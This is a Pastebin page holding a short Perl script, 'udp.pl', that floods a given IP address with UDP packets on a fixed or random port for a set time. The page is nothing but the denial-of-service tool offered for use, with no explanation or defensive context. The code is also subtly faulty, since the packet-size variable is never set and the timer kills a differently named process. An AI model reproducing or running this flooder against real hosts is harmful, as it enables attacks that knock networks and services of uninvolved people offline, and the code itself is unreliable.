daily pastebin goal
34%
SHARE
TWEET

udp.pl

wtfbbq May 11th, 2015 (edited) 1,716 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. #!/usr/bin/perl
  2.  
  3.  
  4. use Socket;
  5.  
  6. $ARGC=@ARGV;
  7.  
  8. if ($ARGC !=3) {
  9.  printf "To initiate UDP Flood\n";
  10.  printf "perl $0 ip port time\n";
  11.  exit(1);
  12. }
  13.  
  14. my ($ip,$port,$size,$time);
  15.  $ip=$ARGV[0];
  16.  $port=$ARGV[1];
  17.  $time=$ARGV[2];
  18.  
  19. socket(crazy, PF_INET, SOCK_DGRAM, 17);
  20.     $iaddr = inet_aton("$ip");
  21.  
  22. printf "~UDP Flooding~ $ip on port $port\n";
  23.  
  24. if ($ARGV[1] ==0 && $ARGV[2] ==0) {
  25.  goto randpackets;
  26. }
  27. if ($ARGV[1] !=0 && $ARGV[2] !=0) {
  28.  system("(sleep $time;killall -9 udp) &");
  29.  goto packets;
  30. }
  31. if ($ARGV[1] !=0 && $ARGV[2] ==0) {
  32.  goto packets;
  33. }
  34. if ($ARGV[1] ==0 && $ARGV[2] !=0) {
  35.  system("(sleep $time;killall -9 udp) &");
  36.  goto randpackets;
  37. }
  38.  
  39. packets:
  40. for (;;) {
  41.  $size=$rand x $rand x $rand;
  42.  send(crazy, 0, $size, sockaddr_in($port, $iaddr));
  43. }
  44.  
  45. randpackets:
  46. for (;;) {
  47.  $size=$rand x $rand x $rand;
  48.  $port=int(rand 65000) +1;
  49.  send(crazy, 0, $size, sockaddr_in($port, $iaddr));
  50. }
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
 
Top